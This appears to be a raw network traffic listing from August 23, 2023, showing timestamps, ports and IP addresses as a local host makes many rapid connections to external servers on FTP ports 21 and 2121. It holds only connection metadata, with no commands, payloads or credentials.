Aug 23, 2023 09:16:14.324985027 CEST	51796	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.363893032 CEST	51733	21	192.168.2.3	176.249.14.42
Aug 23, 2023 09:16:14.363907099 CEST	51732	2121	192.168.2.3	176.249.14.42
Aug 23, 2023 09:16:14.395184994 CEST	51787	2121	192.168.2.3	170.238.207.125
Aug 23, 2023 09:16:14.398802996 CEST	51766	2121	192.168.2.3	60.153.206.117
Aug 23, 2023 09:16:14.405138969 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.405184031 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.405318975 CEST	51777	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:14.413247108 CEST	51777	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:14.413784027 CEST	51797	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:14.510251045 CEST	2121	51796	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.510637045 CEST	51796	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.527060032 CEST	51736	21	192.168.2.3	121.134.138.178
Aug 23, 2023 09:16:14.527151108 CEST	51792	2121	192.168.2.3	216.23.252.107
Aug 23, 2023 09:16:14.542833090 CEST	2121	51796	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.543603897 CEST	2121	51796	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.543889046 CEST	51796	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.559138060 CEST	21	51765	60.153.206.117	192.168.2.3
Aug 23, 2023 09:16:14.559993029 CEST	51798	21	192.168.2.3	86.125.54.59
Aug 23, 2023 09:16:14.578011990 CEST	2121	51796	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.578409910 CEST	51796	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.584794044 CEST	21	51777	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.585067987 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.585163116 CEST	51797	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:14.598287106 CEST	51738	2121	192.168.2.3	121.134.138.178
Aug 23, 2023 09:16:14.598332882 CEST	51739	2121	192.168.2.3	180.70.66.219
Aug 23, 2023 09:16:14.598335028 CEST	51744	21	192.168.2.3	70.170.127.132
Aug 23, 2023 09:16:14.598351002 CEST	51743	2121	192.168.2.3	70.170.127.132
Aug 23, 2023 09:16:14.611188889 CEST	2121	51796	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.611428022 CEST	51796	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.611520052 CEST	2121	51796	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.611641884 CEST	51796	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.612045050 CEST	51799	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.614301920 CEST	21	51798	86.125.54.59	192.168.2.3
Aug 23, 2023 09:16:14.644330978 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.644391060 CEST	2121	51796	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.644454002 CEST	51799	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.660797119 CEST	51742	2121	192.168.2.3	20.54.218.215
Aug 23, 2023 09:16:14.660861015 CEST	51740	21	192.168.2.3	180.70.66.219
Aug 23, 2023 09:16:14.660860062 CEST	51741	21	192.168.2.3	20.54.218.215
Aug 23, 2023 09:16:14.672061920 CEST	2121	51792	216.23.252.107	192.168.2.3
Aug 23, 2023 09:16:14.674496889 CEST	2121	51766	60.153.206.117	192.168.2.3
Aug 23, 2023 09:16:14.675240040 CEST	51800	2121	192.168.2.3	86.125.54.59
Aug 23, 2023 09:16:14.708708048 CEST	2121	51787	170.238.207.125	192.168.2.3
Aug 23, 2023 09:16:14.722970963 CEST	2121	51800	86.125.54.59	192.168.2.3
Aug 23, 2023 09:16:14.809293032 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.809683084 CEST	51797	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:14.831185102 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.831567049 CEST	51799	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.863749981 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.865200996 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.865592003 CEST	51799	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.887178898 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:14.887566090 CEST	51773	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:14.898746014 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.900202990 CEST	51799	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.932408094 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.932579994 CEST	51799	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.932723999 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.932820082 CEST	51799	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.933296919 CEST	51801	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.961255074 CEST	51802	21	192.168.2.3	77.38.219.36
Aug 23, 2023 09:16:14.961425066 CEST	51803	2121	192.168.2.3	77.38.219.36
Aug 23, 2023 09:16:14.961607933 CEST	51804	21	192.168.2.3	94.220.107.112
Aug 23, 2023 09:16:14.962111950 CEST	51805	21	192.168.2.3	24.232.227.43
Aug 23, 2023 09:16:14.962162018 CEST	51806	2121	192.168.2.3	24.232.227.43
Aug 23, 2023 09:16:14.962198019 CEST	51807	2121	192.168.2.3	94.220.107.112
Aug 23, 2023 09:16:14.962300062 CEST	51808	21	192.168.2.3	23.54.70.127
Aug 23, 2023 09:16:14.962346077 CEST	51809	2121	192.168.2.3	23.54.70.127
Aug 23, 2023 09:16:14.965514898 CEST	2121	51799	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.965548992 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:14.965637922 CEST	51801	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:14.980886936 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.982958078 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:14.983306885 CEST	51797	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:15.018927097 CEST	2121	51803	77.38.219.36	192.168.2.3
Aug 23, 2023 09:16:15.018970966 CEST	21	51802	77.38.219.36	192.168.2.3
Aug 23, 2023 09:16:15.101186037 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:15.101244926 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:15.101281881 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:15.101440907 CEST	51773	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:15.101514101 CEST	51773	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:15.102684021 CEST	51810	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:15.114830017 CEST	51811	21	192.168.2.3	115.69.160.136
Aug 23, 2023 09:16:15.117029905 CEST	51812	2121	192.168.2.3	115.69.160.136
Aug 23, 2023 09:16:15.118494034 CEST	51813	21	192.168.2.3	1.212.152.146
Aug 23, 2023 09:16:15.118586063 CEST	51814	2121	192.168.2.3	1.212.152.146
Aug 23, 2023 09:16:15.118652105 CEST	51815	21	192.168.2.3	54.169.184.71
Aug 23, 2023 09:16:15.118741035 CEST	51816	2121	192.168.2.3	54.169.184.71
Aug 23, 2023 09:16:15.146505117 CEST	51817	21	192.168.2.3	45.79.191.209
Aug 23, 2023 09:16:15.154939890 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.155249119 CEST	51801	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.155577898 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:15.155802965 CEST	51797	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:15.161499977 CEST	51818	2121	192.168.2.3	45.79.191.209
Aug 23, 2023 09:16:15.187437057 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.188117981 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.188405991 CEST	51801	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.193651915 CEST	51753	21	192.168.2.3	95.102.102.13
Aug 23, 2023 09:16:15.193742037 CEST	51792	2121	192.168.2.3	216.23.252.107
Aug 23, 2023 09:16:15.193764925 CEST	51754	2121	192.168.2.3	95.102.102.13
Aug 23, 2023 09:16:15.193764925 CEST	51798	21	192.168.2.3	86.125.54.59
Aug 23, 2023 09:16:15.193777084 CEST	51755	21	192.168.2.3	73.41.130.62
Aug 23, 2023 09:16:15.222704887 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.223006010 CEST	51801	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.239854097 CEST	21	51798	86.125.54.59	192.168.2.3
Aug 23, 2023 09:16:15.255510092 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.255783081 CEST	51801	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.255945921 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.255995035 CEST	51801	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.256493092 CEST	51819	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.257236004 CEST	2121	51806	24.232.227.43	192.168.2.3
Aug 23, 2023 09:16:15.267637014 CEST	21	51805	24.232.227.43	192.168.2.3
Aug 23, 2023 09:16:15.285854101 CEST	51751	21	192.168.2.3	149.6.17.131
Aug 23, 2023 09:16:15.285881042 CEST	51756	2121	192.168.2.3	73.41.130.62
Aug 23, 2023 09:16:15.285902023 CEST	51752	2121	192.168.2.3	149.6.17.131
Aug 23, 2023 09:16:15.285907984 CEST	51800	2121	192.168.2.3	86.125.54.59
Aug 23, 2023 09:16:15.285907984 CEST	51787	2121	192.168.2.3	170.238.207.125
Aug 23, 2023 09:16:15.286981106 CEST	51820	21	192.168.2.3	47.33.168.36
Aug 23, 2023 09:16:15.288465977 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.288609028 CEST	51819	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.291407108 CEST	2121	51801	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.303051949 CEST	51821	2121	192.168.2.3	47.33.168.36
Aug 23, 2023 09:16:15.316206932 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:15.316330910 CEST	51810	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:15.317352057 CEST	21	51773	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:15.327271938 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:15.327325106 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:15.327416897 CEST	51797	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:15.327521086 CEST	51797	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:15.328116894 CEST	51822	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:15.333189011 CEST	51823	21	192.168.2.3	193.82.237.136
Aug 23, 2023 09:16:15.333245039 CEST	2121	51800	86.125.54.59	192.168.2.3
Aug 23, 2023 09:16:15.345875025 CEST	2121	51792	216.23.252.107	192.168.2.3
Aug 23, 2023 09:16:15.348170042 CEST	51824	2121	192.168.2.3	193.82.237.136
Aug 23, 2023 09:16:15.364835024 CEST	51825	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:15.458638906 CEST	51826	21	192.168.2.3	24.92.169.90
Aug 23, 2023 09:16:15.482080936 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.484680891 CEST	51819	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.488473892 CEST	21	51825	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:15.488611937 CEST	51825	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:15.492619991 CEST	51760	21	192.168.2.3	51.146.163.8
Aug 23, 2023 09:16:15.497464895 CEST	21	51820	47.33.168.36	192.168.2.3
Aug 23, 2023 09:16:15.498763084 CEST	21	51797	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:15.499257088 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:15.499372005 CEST	51822	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:15.505220890 CEST	51827	2121	192.168.2.3	24.92.169.90
Aug 23, 2023 09:16:15.513444901 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.513489008 CEST	2121	51821	47.33.168.36	192.168.2.3
Aug 23, 2023 09:16:15.513947964 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.514214993 CEST	51819	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.537600994 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:15.537960052 CEST	51810	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:15.544171095 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.544466019 CEST	51819	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.574454069 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.574492931 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.574683905 CEST	51819	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.574762106 CEST	51819	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.575218916 CEST	51828	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.595604897 CEST	2121	51787	170.238.207.125	192.168.2.3
Aug 23, 2023 09:16:15.596381903 CEST	51829	21	192.168.2.3	93.77.51.182
Aug 23, 2023 09:16:15.598447084 CEST	51762	2121	192.168.2.3	51.146.163.8
Aug 23, 2023 09:16:15.598695040 CEST	51763	21	192.168.2.3	68.229.233.241
Aug 23, 2023 09:16:15.600111961 CEST	51830	2121	192.168.2.3	93.77.51.182
Aug 23, 2023 09:16:15.600495100 CEST	51831	21	192.168.2.3	211.224.167.248
Aug 23, 2023 09:16:15.603317022 CEST	2121	51819	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.604402065 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.604631901 CEST	51828	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.612448931 CEST	21	51825	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:15.612781048 CEST	51825	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:15.648881912 CEST	21	51829	93.77.51.182	192.168.2.3
Aug 23, 2023 09:16:15.654787064 CEST	2121	51830	93.77.51.182	192.168.2.3
Aug 23, 2023 09:16:15.660888910 CEST	51802	21	192.168.2.3	77.38.219.36
Aug 23, 2023 09:16:15.660890102 CEST	51803	2121	192.168.2.3	77.38.219.36
Aug 23, 2023 09:16:15.660888910 CEST	51764	2121	192.168.2.3	68.229.233.241
Aug 23, 2023 09:16:15.660969019 CEST	51767	21	192.168.2.3	92.209.242.110
Aug 23, 2023 09:16:15.708693981 CEST	51832	2121	192.168.2.3	211.224.167.248
Aug 23, 2023 09:16:15.717859983 CEST	2121	51803	77.38.219.36	192.168.2.3
Aug 23, 2023 09:16:15.717919111 CEST	21	51802	77.38.219.36	192.168.2.3
Aug 23, 2023 09:16:15.736380100 CEST	21	51825	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:15.736732960 CEST	51825	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:15.751586914 CEST	21	51810	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:15.785907984 CEST	51769	2121	192.168.2.3	92.209.242.110
Aug 23, 2023 09:16:15.793220043 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.793550968 CEST	51828	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.817750931 CEST	51833	21	192.168.2.3	175.123.248.89
Aug 23, 2023 09:16:15.822664022 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.823263884 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.828131914 CEST	51828	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.859133959 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.859431028 CEST	51828	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.861721039 CEST	21	51825	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:15.863086939 CEST	51825	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:15.864032030 CEST	51806	2121	192.168.2.3	24.232.227.43
Aug 23, 2023 09:16:15.864036083 CEST	51798	21	192.168.2.3	86.125.54.59
Aug 23, 2023 09:16:15.864202976 CEST	51805	21	192.168.2.3	24.232.227.43
Aug 23, 2023 09:16:15.864691019 CEST	51834	2121	192.168.2.3	175.123.248.89
Aug 23, 2023 09:16:15.877087116 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:15.877412081 CEST	51822	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:15.888802052 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.888993979 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.889058113 CEST	51828	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.889519930 CEST	51835	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.889522076 CEST	51828	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.895273924 CEST	51800	2121	192.168.2.3	86.125.54.59
Aug 23, 2023 09:16:15.895900011 CEST	51836	21	192.168.2.3	67.248.204.252
Aug 23, 2023 09:16:15.911709070 CEST	51837	2121	192.168.2.3	67.248.204.252
Aug 23, 2023 09:16:15.918122053 CEST	2121	51828	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.918281078 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:15.918380976 CEST	51835	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:15.925642014 CEST	21	51798	86.125.54.59	192.168.2.3
Aug 23, 2023 09:16:15.927880049 CEST	51838	21	192.168.2.3	77.196.208.40
Aug 23, 2023 09:16:15.956176043 CEST	2121	51800	86.125.54.59	192.168.2.3
Aug 23, 2023 09:16:15.956922054 CEST	51839	2121	192.168.2.3	77.196.208.40
Aug 23, 2023 09:16:15.958322048 CEST	51840	21	192.168.2.3	129.21.219.187
Aug 23, 2023 09:16:15.965142012 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:15.965507984 CEST	51718	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:15.986813068 CEST	21	51825	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:15.986898899 CEST	21	51825	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:15.987020016 CEST	51825	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:15.987097025 CEST	51825	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:15.988277912 CEST	51841	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.005234003 CEST	51842	2121	192.168.2.3	129.21.219.187
Aug 23, 2023 09:16:16.048507929 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.049913883 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.050327063 CEST	51822	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:16.052300930 CEST	51843	21	192.168.2.3	67.249.146.40
Aug 23, 2023 09:16:16.088346958 CEST	21	51833	175.123.248.89	192.168.2.3
Aug 23, 2023 09:16:16.098426104 CEST	51820	21	192.168.2.3	47.33.168.36
Aug 23, 2023 09:16:16.098452091 CEST	51771	2121	192.168.2.3	107.84.223.75
Aug 23, 2023 09:16:16.098455906 CEST	51821	2121	192.168.2.3	47.33.168.36
Aug 23, 2023 09:16:16.098515034 CEST	51770	21	192.168.2.3	107.84.223.75
Aug 23, 2023 09:16:16.107491970 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.107848883 CEST	51835	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.111284971 CEST	21	51825	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.111819029 CEST	21	51841	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.111916065 CEST	51841	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.130634069 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.130675077 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.131011963 CEST	51718	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:16.131690979 CEST	51844	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:16.136493921 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.137170076 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.137415886 CEST	51835	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.138613939 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.138696909 CEST	51718	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:16.158035994 CEST	2121	51834	175.123.248.89	192.168.2.3
Aug 23, 2023 09:16:16.159163952 CEST	2121	51806	24.232.227.43	192.168.2.3
Aug 23, 2023 09:16:16.160923004 CEST	51829	21	192.168.2.3	93.77.51.182
Aug 23, 2023 09:16:16.161775112 CEST	51830	2121	192.168.2.3	93.77.51.182
Aug 23, 2023 09:16:16.167104959 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.167589903 CEST	51835	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.170156956 CEST	21	51805	24.232.227.43	192.168.2.3
Aug 23, 2023 09:16:16.196594954 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.196631908 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.196712017 CEST	51835	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.196933985 CEST	51835	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.197551012 CEST	51845	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.212308884 CEST	21	51829	93.77.51.182	192.168.2.3
Aug 23, 2023 09:16:16.219949961 CEST	2121	51830	93.77.51.182	192.168.2.3
Aug 23, 2023 09:16:16.222398043 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.222747087 CEST	51822	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:16.225491047 CEST	2121	51835	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.227953911 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.228074074 CEST	51845	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.235670090 CEST	21	51841	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.236048937 CEST	51841	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.239914894 CEST	51846	2121	192.168.2.3	67.249.146.40
Aug 23, 2023 09:16:16.240653992 CEST	51847	21	192.168.2.3	47.24.201.36
Aug 23, 2023 09:16:16.296241045 CEST	21	51718	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.296950102 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.297063112 CEST	51844	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:16.309051991 CEST	21	51820	47.33.168.36	192.168.2.3
Aug 23, 2023 09:16:16.314450026 CEST	2121	51821	47.33.168.36	192.168.2.3
Aug 23, 2023 09:16:16.356822968 CEST	51802	21	192.168.2.3	77.38.219.36
Aug 23, 2023 09:16:16.356904030 CEST	51803	2121	192.168.2.3	77.38.219.36
Aug 23, 2023 09:16:16.360246897 CEST	21	51841	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.360527992 CEST	51841	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.394263029 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.394293070 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.394439936 CEST	51822	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:16.394551039 CEST	51822	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:16.395325899 CEST	51776	2121	192.168.2.3	68.110.152.167
Aug 23, 2023 09:16:16.395401001 CEST	51775	21	192.168.2.3	68.110.152.167
Aug 23, 2023 09:16:16.395493031 CEST	51848	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:16.414194107 CEST	2121	51803	77.38.219.36	192.168.2.3
Aug 23, 2023 09:16:16.414216995 CEST	21	51802	77.38.219.36	192.168.2.3
Aug 23, 2023 09:16:16.415976048 CEST	51849	2121	192.168.2.3	47.24.201.36
Aug 23, 2023 09:16:16.416058064 CEST	51850	21	192.168.2.3	179.107.13.32
Aug 23, 2023 09:16:16.428400993 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.428886890 CEST	51845	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.459486008 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.461436987 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.463567972 CEST	21	51844	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:16.484936953 CEST	21	51841	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.524925947 CEST	51845	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.524972916 CEST	51841	21	192.168.2.3	65.175.105.186
Aug 23, 2023 09:16:16.525022984 CEST	51844	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:16.525968075 CEST	51851	2121	192.168.2.3	179.107.13.32
Aug 23, 2023 09:16:16.558038950 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.558518887 CEST	51845	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.565776110 CEST	21	51822	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.567034960 CEST	21	51848	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:16.568150997 CEST	51848	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:16.587477922 CEST	51852	21	192.168.2.3	112.171.0.62
Aug 23, 2023 09:16:16.587532043 CEST	51853	2121	192.168.2.3	112.171.0.62
Aug 23, 2023 09:16:16.587686062 CEST	51854	21	192.168.2.3	218.149.87.127
Aug 23, 2023 09:16:16.589498997 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.590224981 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.591022968 CEST	51845	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.593697071 CEST	51845	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.594571114 CEST	51855	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.598469019 CEST	51781	21	192.168.2.3	91.139.35.200
Aug 23, 2023 09:16:16.598481894 CEST	51780	21	192.168.2.3	73.155.194.81
Aug 23, 2023 09:16:16.598493099 CEST	51786	21	192.168.2.3	170.238.207.125
Aug 23, 2023 09:16:16.598514080 CEST	51788	21	192.168.2.3	172.88.93.218
Aug 23, 2023 09:16:16.598516941 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:16:16.598515987 CEST	51833	21	192.168.2.3	175.123.248.89
Aug 23, 2023 09:16:16.599463940 CEST	51856	2121	192.168.2.3	218.149.87.127
Aug 23, 2023 09:16:16.600433111 CEST	51857	21	192.168.2.3	122.163.82.186
Aug 23, 2023 09:16:16.600972891 CEST	51858	2121	192.168.2.3	122.163.82.186
Aug 23, 2023 09:16:16.601838112 CEST	51859	21	192.168.2.3	180.191.252.201
Aug 23, 2023 09:16:16.623744011 CEST	2121	51855	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.623861074 CEST	51855	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:16.624126911 CEST	2121	51845	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:16.648565054 CEST	21	51841	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.648591042 CEST	21	51841	65.175.105.186	192.168.2.3
Aug 23, 2023 09:16:16.648699999 CEST	51841	21	192.168.2.3	65.175.105.186
